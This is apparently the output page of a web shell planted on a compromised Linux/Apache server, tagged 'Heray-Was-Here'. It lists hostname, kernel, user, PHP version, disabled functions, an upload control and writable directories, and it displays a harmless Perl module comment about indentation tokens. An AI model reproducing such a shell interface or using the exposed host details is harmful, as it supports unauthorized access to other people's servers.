Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/perl5/vendor_perl/Pegex/Parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/perl5/vendor_perl/Pegex/Parser/Indent.pm
package Pegex::Parser::Indent;

# The indentation levels of consecutive lines are used to generate INDENT and
# DEDENT tokens, using a stack, as follows. Before the first line of the file
# is read, a single zero is pushed on the stack; this will never be popped off
# again. The numbers pushed on the stack will always be strictly increasing
# from bottom to top. At the beginning of each logical line, the line’s
# indentation level is compared to the top of the stack. If it is equal,
# nothing happens. If it is larger, it is pushed on the stack, and one INDENT
# token is generated. If it is smaller, it must be one of the numbers
# occurring on the stack; all numbers on the stack that are larger are popped
# off, and for each number popped off a DEDENT token is generated. At the end
# of the file, a DEDENT token is generated for each number remaining on the
# stack that is larger than zero. ''

1;

Hry